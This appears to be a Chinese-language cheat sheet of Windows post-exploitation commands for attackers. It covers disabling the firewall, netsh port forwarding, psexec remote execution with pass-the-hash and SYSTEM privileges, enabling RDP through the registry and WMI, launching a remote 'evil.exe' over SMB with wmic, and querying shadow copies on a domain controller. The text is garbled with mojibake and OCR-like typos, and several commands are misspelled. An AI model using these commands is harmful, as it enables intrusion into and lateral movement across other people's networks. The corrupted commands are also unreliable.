禁用windows防火墻
netsh advfirewall set currentprofile state off
netsh adbfirewall set all profiles state off
本機(jī)windows端口轉(zhuǎn)發(fā)（必須是管理員權(quán)限）不需要借助第三方軟件進(jìn)行轉(zhuǎn)發(fā)
啟用轉(zhuǎn)發(fā)
netsh interface port proxy add v4tov4 listenport=3000 listenaddress=192.168.1.100 connectport=4000 connectaddress=192.168.1.120
停止轉(zhuǎn)發(fā)
netsh interface portproxy delete v4tov4 listenport=3000 listenaddress=192.168.1.100
psexec的一些用法
執(zhí)行遠(yuǎn)程主機(jī)上上的文件或者命令
psexec /acceptula \targetip -u domain\user -p password -c -f \smbip \share\file.exe
＃注意默垄，第一次執(zhí)行psexec一定要帶aaceptula參數(shù)痹扇，否則會(huì)彈出一個(gè)確認(rèn)對(duì)話框组橄，在命令行下是沒(méi)辦法結(jié)束的
利用用戶hash來(lái)登錄遠(yuǎn)程主機(jī)并執(zhí)行命令
psexec /acceptula \ip -u Domain\user -p LM:NTLM cmd.exe /c dir c:\
以system權(quán)限來(lái)執(zhí)行遠(yuǎn)程命令
psexec /accepteula \ip -s md.exe
修改注冊(cè)表開(kāi)啟windows終端服務(wù)
reg add "HKEY LOCAL t1ACHINE\SYSTEH\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
wmi命令用法詳解
使用用戶名密碼通過(guò)smb來(lái)執(zhí)行遠(yuǎn)程主機(jī)上的命令或者文件
wmic /node: targetiP /user:domain\user /password:password process call create "\ smbiP \share\evil.exe”
卸載軟件
wmic product get name /value # 獲取軟件名稱
wmic product where name=11XXX" call uninstall /nointeractive
判定遠(yuǎn)程登錄用戶
wmic /node:remotecomputer computersystern get username
實(shí)時(shí)獲取遠(yuǎn)程主機(jī)進(jìn)程
wmic /node:machinename process list brief /every:1
開(kāi)啟遠(yuǎn)程rdp
wmic /node:"machinename 4" path Win32_TerminalServiceSetting where
AllowTSConnections=''O'' call SetAllowTSConnections ''1’'
列舉用戶登錄時(shí)長(zhǎng)
wmic netlogin where (name like "%adm%") get numberoflogons
卷影拷貝服務(wù)
wmic /node: DC IP /user:"DOI1AIN\user" /password:"P ASS 11 process call create "cmd /c vssadmin list shadows 2 &1 c:\temp\output.txt”
